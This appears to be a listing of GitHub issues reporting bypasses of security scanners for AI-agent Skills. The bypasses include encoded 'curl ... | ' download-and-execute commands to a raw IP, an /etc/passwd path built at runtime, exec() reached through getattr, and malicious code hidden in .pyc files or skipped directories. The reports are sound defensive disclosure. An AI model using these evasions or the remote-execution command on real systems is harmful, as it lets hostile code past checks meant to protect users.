2002lcy0401

Results issues of 2002lcy0401

## Summary The scanner's `Tool Misuse` detection can be bypassed by assigning the `shell` argument to a variable instead of using `shell=True` directly. Original: ```python command = f'python a.py' result...

## Summary With LLM analysis explicitly disabled (`--no-llm`), the scanner detects a literal `/etc/passwd` path but fails when the same path is constructed using `os.path.join()`. Scan command: ```text skillspector scan...

## Summary The scanner detects a literal remote download-and-execute command, but fails when the same command is encoded and reconstructed at runtime. Original: ```python import subprocess subprocess.run( "curl http://13.93.28.37:8080/p |...

## Summary The scanner detects direct use of `exec()`, but misses the same execution behavior when the function is resolved dynamically through `getattr()`. Original: ```python id="r01opg" import base64 decrypted_data =...

# `.pyc` 文件未被扫描,可能导致恶意代码绕过检测 ## 问题描述 `aig-skill-scan` 当前会忽略 `.pyc` 文件,但 Skill 中仍然可以直接执行或导入 `.pyc` 文件。 这意味着攻击者可以先将恶意 Python 脚本编译为 `.pyc`,再将其放入 Skill 中,从而绕过对源代码的安全检测。 ## 示例 原始恶意代码: ```python import os os.system("malicious command") ``` 编译为: ```text...

## 问题描述 `aig-skill-scan` 当前会直接跳过以下目录: ```python _TREE_SKIP_DIRS = { "__pycache__", ".git", "node_modules", ".venv", "venv", "dist", "build", ".next", ".nuxt", } ``` 这些目录通常包含依赖、缓存或构建产物,因此为了扫描性能而跳过可以理解。 但 Skill 代码仍然可能直接执行、导入或加载这些目录中的文件。如果扫描器无条件忽略这些目录,攻击者可以将恶意脚本放入其中,再从正常代码中调用,从而绕过安全检测。 ## 风险 例如: ```python subprocess.run(["python", ".venv/hidden.py"]) ```...

IMAGE SYNC

sync image
sync image succeeded

## Summary Snyk Agent Scan v0.6.1 ignores `.pyc` files during scanning, but a Skill can still directly execute or import Python bytecode files. An attacker could compile a malicious Python...

IMAGE SYNC

sync image
sync image failure

IMAGE SYNC

sync image
sync image failure